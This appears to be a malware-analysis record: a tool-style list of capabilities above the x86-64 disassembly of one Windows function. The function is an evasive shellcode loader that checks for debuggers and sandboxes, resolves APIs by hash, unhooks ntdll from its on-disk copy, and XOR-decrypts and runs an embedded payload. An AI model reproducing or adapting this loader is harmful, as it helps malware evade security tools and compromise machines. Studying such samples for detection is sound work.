Function at 0x140001160
Capabilities:
Check for peb ntglobalflag flag
Encode data using xor
Enumerate files on windows
Get common file path
Get memory capacity
Get system information on windows
Terminate process

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x360
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x340], rax
lea rax, [rsp + 0x58]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001622
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor r15d, r15d
test eax, eax
je 0x1400011c6
lea rcx, str.attached_debugger_detected_:__n
jmp 0x1400012ec
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0xe0], 2
jb 0x1400012e5
lea rcx, [rsp + 0x80]
mov dword [rsp + 0x80], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x88]
shr rax, 0x1e
cmp eax, 2
jb 0x1400012e5
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
jne 0x1400012e5
lea rax, [rsp + 0x230]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [rsp + 0xf0]
mov ebx, r15d
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001293
test byte [rsp + 0xf0], 0x10
lea ecx, [rbx + 1]
lea rdx, [rsp + 0xf0]
cmovbe ecx, ebx
mov ebx, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001265
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
test ebx, ebx
je 0x140001622
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400012bd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [rsp + 0x7c], 1
jne 0x1400012f1
mov eax, 0xfffffffe
mov rcx, qword [rsp + 0x340]
xor rcx, rsp
call fcn.140001640
add rsp, 0x360
pop r15
pop rdi
pop rbx
ret
lea rcx, str.possibly_launched_in_sandbox_:__n
call fcn.140001010
mov qword [rsp + 0x380], rbp
lea rcx, str.kernel32.dll
mov qword [rsp + 0x388], rsi
mov qword [rsp + 0x390], r12
mov qword [rsp + 0x358], r13
mov qword [rsp + 0x350], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov edx, 0xf0b03804
mov r12, rax
call fcn.140001070
xor ecx, ecx
xorps xmm0, xmm0
mov qword [rsp + 0x70], rcx
lea rcx, str.ntdll.dll
movups xmmword [rsp + 0x60], xmm0
call rax
mov r13, rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xfd0820
mov rcx, r12
mov rbp, rax
mov qword [rsp + 0x48], rax
call fcn.140001070
mov edx, 0x71a68244
mov rcx, r12
mov rbx, rax
call fcn.140001070
mov edx, 0x90e5f37
mov rcx, r12
mov rdi, rax
call fcn.140001070
mov edx, 0x1c6a5211
mov rcx, r12
mov rsi, rax
call fcn.140001070
mov r9d, 0x18
lea r8, [rsp + 0x60]
mov rdx, r13
mov rcx, rbp
mov r14, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rbp, qword [rsp + 0x60]
lea rcx, str.c:windows_system32_ntdll.dll
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call rbx
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor edx, edx
mov qword [rsp + 0x50], rax
mov r8d, 0x1000002
mov dword [rsp + 0x20], r15d
mov rcx, rax
call rdi
xor r9d, r9d
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov qword [rsp + 0x20], r15
mov rcx, rax
lea edx, [r9 + 4]
call rsi
movsxd rsi, dword [rbp + 0x3c]
mov r15, rax
xor eax, eax
add rsi, rbp
movzx edi, ax
cmp ax, word [rsi + 6]
jae 0x1400014d2
lea r8, str..text
xor r13d, r13d
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r13
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x1400014c0
cmp rax, 6
jne 0x140001460
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x78]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, rbp
mov dword [rsp + 0x78], r13d
call r14
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r15]
lea rcx, [rax + rbp]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x78]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, dword [rsp + 0x78]
call r14
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x140001442
mov r13, qword [rsp + 0x40]
mov edx, 0x3283c47
mov rcx, r12
call fcn.140001070
mov edx, 0x964f1ef
mov rcx, r12
mov rbx, rax
call fcn.140001070
mov edx, 0x2f726bf
mov rcx, r12
mov r15, rax
call fcn.140001070
mov edx, 0xaf757dae
mov rcx, r12
mov rsi, rax
call fcn.140001070
mov edx, 0xfc97a3
mov rcx, r12
mov rbp, rax
call fcn.140001070
xor r12d, r12d
mov edx, 0x114
xor ecx, ecx
mov dword [rsp + 0x7c], r12d
mov r8d, 0x3000
mov rdi, rax
lea r9d, [r12 + 4]
call rbx
mov rbx, rax
lea r8, [0x140005060]
mov r9d, r12d
lea r10, str.mysupersecretkey
mov edx, r12d
nop word [rax + rax]
cmp rdx, 0x10
lea r8, [r8 + 1]
mov rcx, r12
cmovne rcx, rdx
inc r9d
movzx eax, byte [rcx + r10]
lea rdx, [rcx + 1]
xor byte [r8 - 1], al
cmp r9d, 0x114
jb 0x140001560
mov r8d, 0x114
lea rdx, [0x140005060]
mov rcx, rbx
call r15
lea r9, [rsp + 0x7c]
mov edx, 0x114
mov r8d, 0x20
mov rcx, rbx
call r14
mov r14, qword [rsp + 0x350]
test eax, eax
je 0x1400015dd
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call rsi
mov edx, 0xffffffff
mov rcx, rax
call rbp
mov rcx, qword [rsp + 0x48]
call rdi
mov rcx, qword [rsp + 0x50]
call rdi
mov rcx, qword [rsp + 0x58]
call rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r13, qword [rsp + 0x358]
xor eax, eax
mov r12, qword [rsp + 0x390]
mov rsi, qword [rsp + 0x388]
mov rbp, qword [rsp + 0x380]
jmp 0x1400012c9
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3